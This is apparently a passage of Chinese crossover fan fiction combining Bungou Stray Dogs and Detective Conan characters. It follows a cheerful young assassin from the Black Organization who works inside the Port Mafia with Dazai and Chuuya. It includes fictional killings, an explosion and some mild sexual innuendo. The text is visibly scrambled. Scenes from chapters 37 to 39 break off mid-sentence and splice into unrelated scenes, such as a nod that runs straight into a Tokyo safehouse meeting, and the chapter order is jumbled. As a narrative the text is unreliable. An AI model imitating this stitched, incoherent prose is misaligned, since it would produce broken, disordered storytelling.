晕晕乎乎地刚睁开眼,又被赶过来的中也劈头盖脸地骂了一顿。 他本来想跟着中也一起去解决剩下的人的,刚想站起来,就发现自己的腿断了。 也就是现在他为什么会躺在医院里的原因。 动不了。好无聊。 想出去玩。 “唔?唔咩(我吗)?” 病房外。“这四个地方,你自己找吧。” “噢噢噢非常感谢,名侦探大人——” 望月欢呼着,准备离开侦探社时,背后的黑发侦探先生又忽然出声喊停了他。 “对了,给你个忠告哦。” 江户川乱步从刚刚的纸袋里掏出了一根美味棒,一边拆开一边说着话,遮掩住了扯开塑料袋时的呲啦声。 “——快点处理掉脖子上的项圈吧。” 黑泽望月下意识摸了摸自己的脖颈。 金属制的项圈并不冰冷,带着主人的体温,卡在喉结下方的暗红色宝石,装点得格外精致。 他疑惑地看了眼江户川乱步。 黑发侦探坐在沙发上,咬了一口美味棒,声音显得含糊不清,语气也漫不经心的。 “这东西克制你的能力。” “是真的会死掉的哦。” 离开侦探社,黑泽望月朝着江户川乱步告诉他的地方慢吞吞地移动着。 脑海中,浮现出刚刚黑发侦探对自己说的话。 快点处理掉脖子上的项圈吧,这东西克制你的能力。 是真的会死掉的。 “诶……真的假的……” 如果是真的话,那稍微有点麻烦了啊。 望月自言自语着,眉头不知不觉地皱成了一团。他用手指摩挲着脖子上的项圈,宝石的切割边缘微微凸起,触感格外明显。 他在脑海里策划各种「取下」的方式。 中原中也垂下眼睛,从口袋里拿出显示着「通话中」的手机,面无表情地说道。 “喂,太宰,听到了吗?” 黑泽望月慢半拍地反应过来对方是在问自己的名字。 然而对方听后,只是微微点头,从他的身侧擦身而过,只是淡淡地留下一句: “身手不错。” 怪不得他们被讨厌了呢。 看来就算是太宰先生,也不了解黑.道的用语啊。 男人脸上的笑容扭曲了一瞬,随后显得愈发夸张,令人感到不适。 “呵呵,关于合同的事情,我已经看过了。”太宰治若有所思,手指摩挲着下巴,轻声自语, “居然把研究室也藏在这里了。” “是觉得最危险的地方就是最安全的地方,直接放在眼皮底下,反而不容易被注意到了……唔…会这么轻易吗?感觉有些不对劲。” “但就这样逃离,就算有秘密暗道,被我们的人发现的可能性也很高……” 黑发少年的脑袋思绪运转飞快。 他在脑内数列着各种可能性,揣测着目标的意图。 与擅长武力的中原中也不同,太宰治最大的武器就是他的脑袋。 在里世界的悬赏中,这位港口mafia的新任干部脑袋的价格,仅次于他们的首领森鸥外。 “……呃,反正我等下通知木村前辈他们过来就好了吧。” 黑泽望月的眼睛里写着清澈的愚蠢。 他完全没跟上太宰治的思路,不过大概意思还是明白了,自己好像找到了一个重要的地方。 “唔,不过话说回来……我好像闻到了一些奇怪的味道,这里的空气有些不对劲。” 空气中弥漫着古怪的气味。 角落暗处,不知道是什么闪烁着红色的灯,幽幽地像是某种野兽的眼睛。 “……味道?”“喂,望月,你没有和木村呆在一起吗?又跑到哪里去了?” “唔?我没和木村前辈呆在一起哦。刚刚在解决敌人们的时候,忽然发现了一个有意思的地方,就一个人先跑过来看看是什么情况。” “……哈?你这家伙以为我们是来春游的吗?!” 中原中也对着通讯器忍不住骂道。 等会儿见到人了,得好好教训他一顿。 “中也放心吧,任务已经交给中村前辈了。” “而且……果然很让人有些在意呢。” 黑泽望月一边摁着耳麦,将自己的身体猫在窗后,一边透过百叶窗的缝隙偷偷观察里头忙碌的身影。 那些穿着白大褂的家伙匆匆忙忙的,神色慌张,一看就是准备逃离。 大楼内的通讯手段已经被木村前辈他们切断,也不知道这些人是怎么得知消息的。 “这里好像是什么研究室,里面的人都忙着搬东西。” “文件?好像还有些瓶瓶罐罐什么的。” “研究室?”中原中也皱眉。 盘腿坐在地上玩游戏机的太宰治闻言,动作一停。黑发少年站起身,将手里的游戏机抛到一旁中原中也的手中。 中原中也正关注着黑泽望月那头的状况,下意识伸手接住了游戏机。 “喂,你搞什么呢……” 太宰治直接从中原中也的手中抽出了对讲机,在中原中也的骂声中,冷静地询问道。 “位置在哪里?” “D区地下层角落,我觉得可能有秘密通道。” 望月的注意力都集中在百叶窗后研究所里的人,没注意到对话的人已经换了人,说道。 “原来如此……是改造出的地下二层啊。” 太宰治复读着这个词,在脑内飞快地思考。 不知想到了什么,鸢色的眸子骤然缩紧。 ——是瓦斯。 对方做了二手准备。为了毁灭证据和资料,所以决定直接把所有人牺牲了吗?连研究室的人自己都不知道,他们被当成了弃子。 太宰治的语速提快了几分,中原中也从未听见他说话如此急躁。 “喂、望月,赶紧离开那里……” 然而,太宰治的话音未落,从远处响起的巨大爆炸声震耳欲聋。 心脏似乎也跟着这爆炸一起停跳。 地面先是微微颤抖,随后震动得越来越剧烈,残留的在地上碎裂的石块不安分地四处飞去,黄铜色的子弹壳开始到处滚动。 脚下的地面似乎变得滚烫,热量沿着地表传播。 正在清理战场的人都随着摇晃的地面踉踉跄跄,不得不分神出来站稳身体,还得留神别摔坏了手里的药剂。 “嗯?发生什么了?” “是爆炸?距离这个很近的样子。” “喂,那边的地面是不是凹陷下去了?刚刚好像就是那边的爆炸声。” 只有听到了望月的话的太宰脸色难看。 一旁的中原中也脑袋并不笨,他也意识到发生了什么后,脸色同样相当糟糕。 “混蛋……” 赭发少年不假思索,重力瞬间覆盖了全身,朝着刚刚爆炸的源头冲去,只能看到模糊的黑色虚影。 太宰治张了张嘴,发现自己的喉咙有点发涩。 他轻声地,抱着试探对通讯器喊到对方的名字。 “……望月?” 然而,通讯器里只留下沙沙的电流音;随后传出太宰治最不愿听到的声音。 “哔——” 对话中断。 “港口mafia想要我们池田组那条进货道百分之三十的利润,也太狮子大开口了。” “诶,是吗?最开始BOSS可是想要更多的利润的,已经被我压到这么多了,池田先生不应该感谢我吗?” “……呵呵,太宰君倒是直爽。虽然我很想这么说。” “胃口未免也太大了吧。小心吃不下被撑死。” 话音落下,房间内顿时陷入了一片死寂,空气如同沥青般黏稠。 “既然池田先生没有和我们继续谈的意图,那今天就到此结束了吧。” 太宰治叹了口气。 他刚站起身,原本站在不远处的黑.道们,不知何时就站在了他们的身后,不屑地睥睨着两个面前的两个小鬼。 “我看太宰君要不还是再坐一会儿吧,别这么着急走。我们可还没好好招待过你呢。” 黑发少年笑了起来,倒是比之前的表情多了一丝真情实感的笑意。 只是那抹笑意带着十足的嘲讽。 “诶~看来欢迎仪式还没有结束啊。” “怎么,池田先生是想要用这种方式挽留我吗?如果愿意继续谈的话,我当然乐意。” “开什么狗屁玩笑!” 太宰治的话正好踩到了池田的雷点上。男人脸上的笑容彻底消失,怒不可遏地大吼道。 “就你们港口Mafia开的那个条件怎么可能接受!之前我们已经放弃了A区的地盘给你们,做了这么大的让步居然还不知足吗?别太过分了!” “是吗?我觉得港口mafia做的已经相当仁慈了。” “趁着前段时间港口码头的骚乱,从我们这里顺手牵羊走的那份军火武器,大概能卖出个好价钱吧,池田先生。” 银发恶魔忘乎所以地叭叭个不停,身后的尾巴左晃右晃着。 并没有注意到面前黑发少年逐渐变暗的眸子。 太宰治扯了扯嘴角,拉长声音道。 “诶~「神明」的魔力吗。” 他的声音听上去轻飘飘的,似乎是在轻笑。 那只裸|露在外的鸢色眸子,却不见任何笑意;幽暗得如同不断向远处延伸的走廊,看不见尽头。 黑发少年扯起唇角,平静地问道。 “——是中也吗?” 第 37 章 第三十七章(含6k营养液加更) 听到太宰一下子就猜中了是谁后,望月身体顿时僵硬,后脑勺上冒出了一堆紧张的冷汗。 他忍不住后退了一步,防备地盯着面前的太宰治。 “好吧,你猜对了没错。谁让太宰又不给吾辈吃饭,所以吾辈只能去找中也了嘛。” 望月双手抱胸,说得理直气壮。 这家饭馆不让自己吃饭,还不允许他去别的饭馆吃饭吗?未免也太不讲理了。 这么一想,银发恶魔身后的尾巴甩了甩,那股莫名的心虚顿时烟消云散,挺直了腰杆。 “哼,中也和其他人类可不一样,只是一次就把吾辈的淫|纹搞出来,真是天赋异禀。” 快餐店内。 中原中也一脸无语地看向对面那座,几乎把人完全挡在了后面的,用汉堡堆成的小山。 从他这个角度看去,只能勉强看到望月脑袋上的那几根呆毛一翘一翘着,似乎在传达主人兴奋欢跃的心情。 他们这一桌如此的盛况,也不免引来周围顾客们惊叹的围观。 汉堡山后忽然探出了一个毛茸茸的金色脑袋,努力看向对面的中原中也,眼神亮闪闪的。 “那中也我就不客气了!” 然后,中原中也便见证了木村那天所说的,望月连接着异次元一样的恐怖胃袋,究竟是什么样的一种存在。 面前的汉堡山正以一种惊人的速度「坍塌」下来,快得让人不禁怀疑是不是自己眼花。 不过这高效的消灭速度,也让中原中也终于能够看见对面人的脸了。 黑泽望月吃得正开心,什么乱七八糟的事都丢到了脑后,抱着汉堡嚼嚼嚼。 非常好诠释了「吃饭不积极,思想有问题」这句话的真谛。 刚刚在港口mafia大厦的时候,听到自己说请客,金发少年的眼睛瞬间就冒光了。 ‘吃什么都可以吗!’ ‘那我可要让中也的钱包狠狠地大出血了。’ 金发少年双手抱胸,自信满满地哼哼着,大概是想要做出威慑的样子,但配上那张脸,看起来依旧蠢里蠢气, 他还特意强调了一遍。 ‘木村前辈可夸奖过我的肚子,是一种神秘而可怕,堪比都市传说般的存在。’ ……那应该不是夸奖而是控诉吧。 也就只有望月这样的笨蛋能把这句当成夸奖了。 ‘还怕你吃穷我?’ 面对望月的挑衅,中原中也豪气十足地大手一挥。 不管怎样,如果mafia能算成正统职业的话,在薪酬上算得上是高薪,尤其是像他们这样在刀尖上舔血的。 再加上这小子有一顿饭就被勾引着上了套的经历,中原中也觉得得让这笨蛋吃顿好的,至少别这么容易就上钩。 在羊的时候天天吃面包和罐头,却觉得快餐店里的东西简直是美味。 说起来,他们几个人还约定过,等柚杏生日那天就买一大堆汉堡和炸鸡,回「羊」的基地开生日派对。 如今自己加入了港口mafia,「羊」的伙伴已经四散不知去了何地,就连白濑也离开横滨去了欧洲。 似乎没有人记得这件事了。 他忽然有些走神。 “——中也,心情不好吗?” 耳边忽然响起少年的声音,中原中也回过神来。 座位对面的黑泽望月正看着自己,汉堡山已经消失了三分之二,重新堆起来的是揉成一团的包装袋。 他沉默了一下,有些别扭地说道。 “只是稍微想起了一些以前的事。” “哦。” 望月点了点头,深绿色的眸子干净又纯粹,认真地说道。 “我不知道中也的过去呢。” “但是中也的表情看起来有点孤独。” “不过太宰也总是一副很寂寞的样子呢。”黑泽望月用吸管嘬着可乐,声音含糊不清,“毕竟就连他的部下也不和他一起玩。” 至少太宰是这样和他说的。 “……那条青花鱼?” 中原中也随口问了句。 虽然他和太宰是搭档,但二人性格向来不对盘,以至于在任务外见面没两句就会吵起来。 厌恶却又信任。 “青花鱼?”望月听到了这个指代词,这也不是他第一次从中也口中听到了,“啊,第一次见太宰是在水里呢……难道他真的是条鱼?” 他居然真的思考起来了。 “但是我还以为他是要入水自杀呢,莫非其实他是因为怀念当青花鱼的生活,试图回归河水的怀抱?” “好可怜啊太宰……” “咦?等一下,青花鱼不是海鱼来着吗,那应该是要回归大海的怀抱才对。” 自己梳理一通逻辑后,黑泽望月恍然大悟。 “原来如此,怪不得太宰变回青花鱼失败了,是因为跳的是河水而不是海水啊。” 中原中也差点笑得一口可乐喷出来。 望月的电波只要不是针对自己发散而是迫害去别人,这攻击力简直充沛——只可惜他的电波对象是无差别攻击的。 不过就这段时间的相处,中原中也大概也了解了些这家伙脑回路的由来,果断问道。 “你又看了什么漫画?” “不是漫画是童话书!”望月反驳道,“是《人鱼公主》哦。” 人鱼公主…… 中原中也不可避免地将太宰治的脸代入进去,不禁一阵恶寒。 太恶心了。 “那家伙算是什么人鱼公主,是海底的巫婆吧。”嗯,用狡黠的话术诓骗做交换,和那家伙的风格非常相似。 望月却兴奋了起来。 到中也这么说,望月一下把刚刚的事儿抛到了脑后,抖擞起精神开始洗牌发牌——完全没有听出对方语气中的危险。 “哼哼,虽然之前一直输给太宰,但中也的话我还是有自信可以赢的哦……”望月得意地念叨着。 十分钟前,金发少年脸上的神采奕奕。 十分钟后,金发少年的脸变成了泪眼汪汪,都快变成了一个行走的表情包。 望月捏着一堆的牌,拿匕首稳如泰山的手此时微微颤抖,几乎是哀嚎般连声叫唤。 “为什么我全都是最后一名,这不科学!!” 一局,他连一局都没有赢过。 一旁早已把牌清空的太宰和中也则显得悠哉。 几轮下来,结果又是太宰的连胜,中原中也偶尔也会胜出几轮,但基本都是跟在太宰后面把牌出完。 饶是中也也没能想到是这样完全一边倒的局面,搞得他都忍不住看了一眼太宰。 “……你有用什么手段吗?”趁着望月还在鬼哭狼嚎,中也问了句。 “没有哦。”太宰耸了耸肩,“倒是中也,真看不出来你也这么喜欢欺负人啊,真是恶趣味~” “哈?这话居然是从你嘴巴里说出来的。” 中原中也翻了个白眼。 这家伙最没资格说这话,有几轮可没少给自己垫牌——他当然没有介意顺着对方垫的牌打了下去。 结果就是,只有望月一个人被蒙在鼓里,完全不知道自己被他们联手「教育」了。 “唔……”面对中也的白眼,太宰治想了想,居然老实地承认了。 “欺负这家伙的确是挺有意思的。” “嗯?” “那家伙的表情太丰富了,观察起来很有趣哦。” 太宰治语气轻飘飘地说道。 他努了努嘴,示意了一旁还在纠结,盯着自己手里的残牌碎碎念个不知道什么的金发少年。 好几轮都是,望月的手上剩下最后一张牌,喊完uno,沾沾自喜中,紧接着就被太宰治甩了一张「+4」,表情从开心到笑容凝固再加呆滞。 其中一轮运气总算好点了,在三张「+4」后,在望月紧张到汗流浃背,双目瞪得溜圆的注视下,太宰又不紧不慢掏出了第二张「+4」。 “噢噢噢!中也也看过吗!” 这种家喻户晓的童话,基本上或多或少都知道的吧。 但是黑泽望月看起来却像是找到了同好,绿眸笑得弯弯的,身后那条不存在的尾巴似乎摇成了螺旋桨。 ……好吧。 之前那些复杂的情绪,在金发少年这些乱七八糟有的没的下,几乎消散的差不多了。 脑回路被对方带着走,不见得完全是一件坏事。 中原中也也不是什么矫情的家伙,沉溺于过去无法自拔不是他的风格;对于他来说比起过去的事,还是眼前的现实更加重要。 “——但是,如果中也感到孤独的话,” “还有我在哦。” 金发少年的声音清亮。 望月弯起了眼睛,毫无保留地露出一个灿烂的笑容。 “就算我还在睡觉,只要中也的一个电话,我都会过来的。我没有起床气哦。” “不论玩什么游戏都可以!” 说完,金发少年得意洋洋地抬起脑袋,等待着中原中也的夸奖。 又像是只等人过来摸摸自己脑袋的小狗。 中原中也的心中荡起一层淡淡的涟漪,钴蓝色的眸子眼神复杂。 然而,很快这种动容又转换成一种淡淡的心累和吐槽欲。 是做老妈子的疲惫感。 “……说这种话之前,先把嘴巴擦干净吧。” 金发少年的脸上全是刚刚吃汉堡蹭上的油和沙拉酱,看起来跟个小孩子一样。 顶着这样一张花猫脸,着实让人感动不起来。 望月闻言,拿纸擦了擦自己的嘴巴,脸上难得露出了埋怨的表情。 “中也,好破坏氛围。” 金发少年一本正经脸,用一种语重心长的老成口吻道。 外头的雨势越来越大,空气也似乎因此变得潮湿起来。 外头的行人估计也没料到这突如其来的雨,有公文包的还能举起来放在头顶上挡一挡,或者拉起兜帽盖住脑袋,加快脚步。 这些都没有的便惨了,只能自认倒霉,赶紧找个有房顶的地方躲雨,祈祷着这雨只下一会儿,过会儿能停。 中原中也偏过脸,看着窗外慌慌张张躲着雨的人流,沉默了下来。 头上那顶复古的黑色礼帽帽檐低垂,几缕赭红色的头发落下,正好挡住那双钴蓝色的眸子,看不清他脸上的神色。 坐在窗边的中原中也和黑泽望月这对组合,并没有惹起什么过多关注,顶多是感慨于两个人的脸长得真不错。 但也只是当成普通人,和自己的朋友一起出来吃顿饭。 谁会想到这样的两个少年,正是隶属于港口mafia,危险的黑手党。 『‘人的话一般只能死一次吧。’』 这句话说的,好像他不是人类一样。 但也可能只是对方随口的无心之提,毕竟这可是望月。 『‘是觉得,对方可能和你同类吗?’ ‘难道说,你在开心?一直孤独的怪物终于找到了自己的同伴,觉得自己不再孤身一人了?’』 太宰那天在电话里的话,再一次冒了出来,让他打心底地感到厌恶。 但他也得承认一件事。 太宰治说中了。 那个擅长剖析人心的家伙。 望月他知道这件事吗。 ——自己有可能并不是人类这件事。 烦躁感如同这场突如其来的雨带来的水意,沾在皮肤上,黏腻湿冷缠绕着皮肤 ,坐立不安。 而黑泽望月完全不知道中原中也心中的犹豫和烦躁,在听到对方的话后,苦着眉头认真思考。 “之前我遇到一个特别厉害的人。他说自己是「名侦探」,不管什么难案件只要看一眼就能知道事情的真相然后解决掉。” “哈?如果真有这样的人,这世界大概也不需要警察了。” 黑泽望月鼓起了包子脸,没有反驳,只是强调道。 “但他一下就看出我是被猫咪抓伤的,还解决了我的委托!嗯,没错——他是名侦探,也是猫猫神!” 金发少年一边说着,一边自我肯定般点了点头。 中原中也见望月在这边自言自语,一个人玩得很开心的样子,有些无语。 “然后,名侦探大人告诉我,这个项圈会让我「死掉」。” “「死掉」诶……我从来没有想过这种事情。” “我问了太宰,太宰说,他也在寻找这个答案。” “中也这样子没有眼力,读不懂空气,在职场上可是被人排挤,被上司轻视的。要努力学会看空气哦中也。” “……最读不懂空气的人是你吧!而且,你是不是忘了我现在是你的上司?” 和黑泽望月相处久了,中原中也感觉自己的吐槽力直线上升。 不过望月也没和中原中也去纠结,读不懂气氛的家伙到底是谁。 一旁的玻璃窗上,忽然多出了一滴透明的水滴,随后逐渐增多,在玻璃窗上拉满了斜线。 外头不知道什么时候开始下雨了。 雨势很小,快餐店里的人似乎还没注意到外头的雨。 中原中也咬着吸管,看向窗外,思考着要不让司机过来接一下他们。 面前的金发少年却突然开口问道。 “对了。” “中也,你有死过吗?” 望月的脑回路永远令人捉摸不清,上一秒还在说这件事,可能下一秒就直接跳跃到了下一件事。 包括提出的问题,也是这么的令人摸不清头脑,时不时得给对方纠正一下常识。 “……哈?”中原中也脑袋上冒出一个问号,“我要是死了的话,还会坐在你面前吗。” “对哦。”望月了然般点了点头,“人的话一般只能死一次吧。” “什么叫「人的话一般只能死一次」。” “所有的死亡都只有一次吧。” 中原中也看着窗外,漫不经心地说道。 周围似乎安静了下来。 这回可以听见淅淅沥沥的雨声了。 “找到了,我们来玩uno吧!”望月还特意询问一旁的赭发少年,“中也会玩嘛?不会的话我可以教你!” 这人一点都没看出空气中古怪的的气氛。 “你都是我教的,现在跑去教别人?”太宰斜了眼望月。 “嘿嘿。” 金发少年没有直接回答,而是摸了摸自己的后脑勺,深绿色的眸子看起来亮晶晶,语气欢快地对中也说道。 “这两天太宰教了我很多游戏,想着如果中也回来的话,我们三个人就可以一起玩了!果然玩游戏越热闹才越有意思嘛!” 望月心想,等什么时候,还能找大哥和伏特加他们一起打UNO。 大哥肯定不会这种游戏,到时候他可以教大哥。 想到这个,望月的兴致又高涨了几分,笑容显得更加灿烂。 ——如果伏特加在这里,大概会忍不住打个寒颤。 毕竟实在想象不出琴酒大哥坐下来,一团和气地打UNO的样子——如果真出现这种情况,他大概会怀疑是不是自己脑子出问题了——光是试图脑补,都不免感到一阵恐惧。 面对望月冒着小星星的眼睛,中原中也张了张嘴,没有发出声音;但一旁的太宰治却开始阴阳怪气起来。 “哦~我教你游戏的时候,你却想着中也呀?” 赭发少年深呼吸一口气,扶住了自己的额头,挡住自己有些扭曲的表情。 中原中也的耳朵脸颊一阵发烫。 他从齿缝里咬牙切齿地挤出自己的声音。 “你们两个……在别人的办公室里干什么呢混蛋!” 太宰似乎这才注意到中也回来,兴致勃勃地朝他招手。 “呀,中也,要一起来玩吗?” 第 38 章 第三十八章 太宰治虽然嘴上朝着门口的中原中也招呼着,手上的活可一点都没停下。 黑发少年熟稔地抚摸着恶魔的尾巴,用虎口环住然后抚弄着。 “唔唔唔、你——” 尾巴被这么一通摸,望月爽得口水都要滴下来了,本能地在地面上扭动着。 越是挣扎动弹,身上的绳结就束缚得越紧,看得出来捆绑者的绳艺高超。 然而用于上吊自杀用的麻绳对于被捆者的皮肤而言,还是太过粗粝,稍稍一动便在脖颈裸|露出的皮肤上留下摩擦的红痕。 “混、混蛋人类……明明最开始只说是用绳子捆吾辈,也没说……唔嗯……还要摸、摸尾巴啊!” “……你他妈够了啊。”中原中也很久没骂脏话了,然而在羊的习惯还是改不了,“这玩意儿应该和政府那边上次查的东西,是同一种。” “这种违禁药物突然出现在横滨,应该少不了人或什么组织在背后推波助澜。” 他把自己的推测说了一番,太宰治没有否认。 黑发少年神情恹恹,鸢眸里倒映着屏幕上游戏的光怪陆离,语气淡然, “横鼠的嘴巴咬得很紧,费了好大功夫才撬出来点消息。” “关于这批药剂他了解不多,只负责运输;研发和贩卖的另有其人……中也,你知道那个成员以酒名为代号的组织吗?” “以酒名为代号的组织?”面对某金毛亮晶晶、好奇探求的目光,名侦探大人双手抱胸,一本正经地说道。 “笨蛋,这都不知道吗。「侦探」就是「能够解开谜题的人」啊。” “——而「名侦探」,就是比那些三流「侦探」厉害一百倍的天才!” “「名侦探」好厉害!所以乱步是这里的老大吗!” “不,是社长哦。不过社长没了名侦探大人,果然也完全不行呢。对吧,社长——” 江户川乱步扭头看向了福泽谕吉。 “……对。” 福泽谕吉沉默了一下,还是点了点头东京,某处安全屋内。 穿着深灰色风衣外套的长发女人走进了门,随意地扯下脸上的仿真人皮面具,丢到一旁的沙发上。 她迈步,直接坐在高脚凳上,修长的双腿交叠。 “久等了,波本。” 吧台前的金发黑皮帅哥拿着威士忌的手没有停顿,一如平常地抿了一口,朝着身旁的金发女郎微笑道。 “等待美人也不乏为一种雅兴。” 贝尔摩德没有搭理他,只是把手里的U盘放在桌上,朝着降谷零的方向推了推。 降谷零收起了那支U盘,里头是下一次的任务资料。 这也是今天他们碰头的主要目的。 口头交代了几句,完成正事后,贝尔摩德点了苦艾酒,轻轻晃了晃。 “今天可真冷清。” “毕竟那孩子不在嘛。” 贝尔摩德一副意尽阑珊的无聊表情。 降谷零看出对方情绪不高,但不想放过这个打听组织消息的好机会。他装作什么都不知道,似乎不经意地问道。 “是说望月吗?” 降谷零想起那日,金发少年一脸期待地向自己询问「卧底的工作是怎么样」时,吓了一跳,还以为对方看出什么破绽在试探自己。 结果发现对方可能只是单纯地发问。 他便随口说了几句,望月便一副感激又开心的表情,兴奋地表示,自己到时候会给他带横滨特产。 降谷零脑内飞快地闪过了横滨地界几个组织的名字,最后定格「港口Mafia」的名字上。 那也是横滨地界内最大也是最危险的黑手党组织。 ……这不是几乎全暴露了啊。 所以,到底是谁让那家伙去卧底的,真的没问题吗? 身为公安部卧底,降谷零第一次为「组织」感到了疑惑。 他赶紧用喝酒这个动作来掩饰脸上复杂的表情,随后继续试探,想要从贝尔摩德的口中获得更多的信息。 “听说望月是琴酒的心腹,仅次于伏特加。真看不出来,毕竟那孩子看起来年龄不大,居然能让琴酒那疑神疑鬼的性格如此信任。” 贝尔摩德轻笑一声,手掌托着脸颊,慢悠悠地说道。 “你可别小看望月了。” “毕竟,望月可是琴酒带回来的,从小就跟在琴酒身边。是组织里出色的杀手。” “欸?真是难以想象。”他调笑道,“琴酒居然会愿意做「奶爸」这样的工作吗?” “谁知道呢。” 贝尔摩德耸了耸肩。 “嘛,虽说是这样,那孩子的性格却很好,和琴酒完全不一样。” “很招人喜欢哦~” 望月那样热情又纯粹的性格,放在组织里简直就是个异类。 但却又不得不承认,在黑暗之中窥见这样明媚的太阳,会让人不由自主地心生向往。 如果在正常的情况下,那孩子现在应该在某所学校里,上课、参加社团、交到很多朋友…… 想到对方这么小就已经加入组织,走上这样的不归路,降谷零的心情有些阴沉。 降谷零还在游神,而一旁的贝尔摩德叹了口气。 “不过……望月的性格去当卧底,还真令人不放心。” “他可不像你那样擅长戴面具啊,波本。” 贝尔摩德在酒杯边缘留下一道淡淡的口红印,挑眉说道。 而降谷零举着玻璃杯的手微微一顿,露出波本应该有的表情,轻笑着,语气漫不经心。 “早上好!今天真是个好天气呐三浦前辈!” 身侧突然响起活力十足的少年音,把抱着文件从办公室里走出来的三浦吓了一跳,疲倦的神经被迫绷紧。 他下意识扭头看向突然冒出来的人,发现是黑泽望月后松了口气。 “原来是望月啊。下回不要突然冒出来。”。 对于社长的犹豫,名侦探感到相当不满,发出了强烈的抗议。 而黑泽望月则陷入了头脑风暴。 名侦探很厉害但不是这里的老大,深受BOSS的信赖……说起来大哥很厉害但不是组织的老大,BOSS也非常信赖大哥,离开大哥就完全不行…… 他忽然灵光一闪,握拳捶掌,恍然大悟。 所以,乱步等于大哥。 他已经完全明白了一切! “不,你个笨蛋完全没有理解。”江户川乱步毫不客气地吐槽道。 诶,他怎么知道我在想什么?难道他会读心术吗! “这种事情不是一看就知道了吗!完全都写在了脸上嘛!” “什么,我明明没有说出口,但是完全说中了!”望月大惊,“果然是读心术吧!「名侦探」可真厉害啊!” 虽然对方依旧是电波系的脑回路,没有理解自己的意思。 不过对于望月的夸夸和毫不掩饰的星星眼,江户川乱步还是相当受用,身后那条不存在的猫尾愉快地翘起。 不远处围观的事务员们不禁啧啧称奇,小声交流起来。 “诶,两个人看起来玩得不错啊。” “因为都是小孩子吧。” “……等等,乱步先生应该不算小孩子了吧。”乱步先生早就成年了啊。 两个心理年龄加一起可能都没到成年的家伙凑在一起,怪不得有共同话题。 “那世界最厉害的「名侦探」大人,我可以拜托一件事情?” 望月乖巧地举起了手。 “哼,我才不要。”江户川乱步脑袋一扭,语气倨傲,“如果是要名侦探帮忙找人的话就算了。我的脑袋可不是用在这种事情上的。名侦探只想解决有意思的案子!” “诶……” 金毛身后的尾巴耷拉了下去。 本以为能够求助名侦探找太宰先生的,但是被拒绝了啊。 “是。组织的正式名称不详,不过成员都身穿‘如乌鸦般漆黑’的衣服。所以,也称之为「黑衣组织」。” 太宰治声音顿了顿,像是在思考。 “这个名字倒是有听说过,上次东京塔的爆炸似乎有他们的参与。” 说到这个,中原中也不由得冷笑,嘲讽道,“听说他们组织内部纪律严格,行事缜密,结果没想到胆子这么大。” “所以,你是觉得这批药物的源头是那个黑衣组织吗?” “嘛,差不多吧。” “即便不是源头,那也大概参与了药物的研究与开发……他们似乎在医药和科学领域,有自己的目的。” 太宰治忽然又不说话了。 沉默在二人之间的空气中蔓延 但沉默只持续了片刻,中原中也毫不犹豫地说道, “——不管怎样,只要触犯到了港口mafia的利益,无论他们的目的是什么,都我们无关。” “放任这种组织在横滨发展,对港口mafia很危险。” “……”太宰治没搭话。 他又开了一把游戏,把游戏机摁得噼啪作响。 就在此时,口袋里的通讯器发出一声“滴”的轻响。 中原中也摁下对讲按钮,说道。 “这里是中原中也。” “中也,我们这边的工作也完成了!” 是望月的声音,依旧活力十足。 不知为何,在听到金发少年的声音后,中原中也莫名感觉胸口那股郁气轻快不少。 望月和木村他们的任务并不是正面战场,而是负责同步控制化工厂大楼里的其他人,以及看守各个出入口,防止有漏网之鱼。 “知道了……” 通讯器里传来不正常的沙沙电流音,而且背景里没有其他人的声音。 中原中也第一时间内反应过来,皱眉问道, 这只混蛋恶魔…… 果然不能够对这家伙太心软。 稍微不注意些,扭头就不见了踪影。 像是路边的流浪猫,为了手中的食物几尽谄媚地讨好,蹭着裤腿,摊开肚皮。 结果一扭头,这只流浪猫毫无节操地,对着其他能给自己吃饭的人呜咪呜咪地叫唤着。 似乎看出了中原中也心中的想法,太宰治从鼻腔里嘲讽地哼笑了一声。 “毕竟这可是只恶魔啊,中也。” “比人类还要更加恶劣,贪婪,充满谎言,欲壑难填。” 第 39 章 第三十九章(200雷加更) “……” 中原中也沉默。 赭发少年微微垂首,脸上的表情被头顶上的帽檐所扫下的阴影挡住,看不清那双蓝眸中此时的情绪。 “真抱歉,这些对于恶魔来说可都是夸奖的话来着——” 金发少年微微仰着头,欢快地举起双手。 不可能,他怎么知道的? 他们和购买人谈定价格这个事情,应该只有他的几个心腹知道才对。 ……被出卖了?不,那几个和自己同为既得利益者,犯不着做这种吃力不讨好的事情。 他面无表情地看着面前的池田,心中没有任何的波澜,眼神比尸体还要来得了无生机。 ——真无趣啊。 他本以为,在黑手党这样充斥着暴力与死亡,鲜血与欲望的地方,就能更一步理解人类的本质。 可到头来他还是什么都没找到。 疲惫、厌倦、压抑…… 像是一口无法填满的深井,漆黑的,仿佛能将一切活着的东西都吞噬进去。 “啊……绷带脏了,要换掉呢。” 黑发少年垂着脑袋,过长的刘海挡住了大部分脸,自言自语地呢喃着。 “——太宰先生,您还好吗?” 身后,冒出了一个毛茸茸的金色脑袋,眨着眼睛,一脸无辜地问道。 太宰治微微一顿,鸢眸中暗色褪去,不紧不慢地回过头去。 已经把敌人全部解决的金发少年低头拎着自己的衬衫,小幅度地撅了撅嘴。上头因为敌人的血而几乎完全变成了红色,估计是洗不出来只能进垃圾桶了。 比自己的衣服,望月更在意的是自己新捡到的“小树枝”。 金发少年欢喜地捧起那把短刀。 “啊,刀柄脏掉了诶。” 望月看着短刀刀柄处的暗红色,沮丧地垂下脑袋。 太宰治不留痕迹地观察了一圈四周。 尸体们东倒西歪,原本挂在墙壁的书法卷轴也东倒西歪,被喷溅上鲜血,血腥又讽刺。 造成这幅场景的主人则一副无辜又天然的表情,盯着手里的短刀,不知道在叹气什么东西。 说实话,望月的实力超出了他的预计范围内。 对杀人的习以为常,干净利落的动作。 在加入港口mafia之前,这家伙的身份又是什么呢? 军人,特工,不,可能性更高是杀手。 一瞬间,脑内闪过许多思绪。 收回观测的目光,太宰治忽然重重地叹了口气。 望月疑惑地抬起脑袋,就看到黑发少年肩膀塌了下去,拖长了声音道。 “你把所有人都杀了啊。” “原本的计划是,「因谈判破裂被袭击,港口mafia出动武装部队清扫了池田组」——这样的一个剧本。” “结果现在被袭击的人,怎么看都是池田组嘛。” “欸,明明是太宰先生故意挑衅的。”望月表情傻乎乎的,“而且池田也是太宰先生杀……唔。” 太宰治不说话了,只是眼神幽幽地盯着他。 望月咽了口唾沫,本能告诉他现在应该闭嘴了。 他环视了周围的一圈尸体后,把目光锁定在最开始被摔昏死过去的那个男人,指着对方开朗地说道。 “快看,还有一个活口,没有全杀哦。” 